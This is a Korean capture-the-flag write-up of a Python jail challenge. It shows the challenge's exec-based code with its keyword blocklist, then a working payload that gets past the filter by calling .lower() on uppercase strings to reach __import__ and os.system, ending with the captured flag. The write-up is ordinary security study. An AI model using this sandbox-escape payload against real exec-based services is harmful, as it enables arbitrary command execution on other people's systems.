Search

[HackCTF] 탈옥

Tags
reversing
Category
HackCTF
Create Time
2022/01/07 12:50

1. 문제

1) 문제 확인
╰─$ nc ctf.j0n9hyun.xyz 9002 130 ↵ #! /usr/bin/python3 def main(): print(open(__file__).read()) print("Welcome to Jail World!") text = input('>>> ') for keyword in ['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write']: if keyword in text: print("Filtered Keyword.") return; else: exec(text) if __name__ == "__main__": main()
C
복사
저번 csaw인가 거서 처음 jail break를 봤었다. 필터링을 통과해서 쉘을 실행시키면 된다

2. 접근방법

파이썬에서 기본적으로 len, type 같은 모듈들은 import를 해주지 않아도 사용가능하다. 이는 내장함수인 builtin 때문엔데, dir(__builtins__) 으로 확인가능하다.
결국, 빌드인으로 import를 가져오고,
import os
os.system('cat flag')를 조지면 된다. 또한 필터링은 우회하기 위해 대문자로 쓰고 lower를 이용해야한다.

3. 풀이

__builtins__.__dict__["__IMPORT__".lower()]("OS".lower()).__dict__["SYSTEM".lower()]("cat flag")
C
복사
def main(): print(open(__file__).read()) print("Welcome to Jail World!") text = input('>>> ') for keyword in ['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write']: if keyword in text: print("Filtered Keyword.") return; else: exec(text) if __name__ == "__main__": main() Welcome to Jail World! >>> __builtins__.__dict__["__IMPORT__".lower()]("OS".lower()).__dict__["SYSTEM".lower()]("cat flag") HackCTF{Y0u_4re_th3_re4l_j4ilbr34k3r!}
C
복사

4. 몰랐던 개념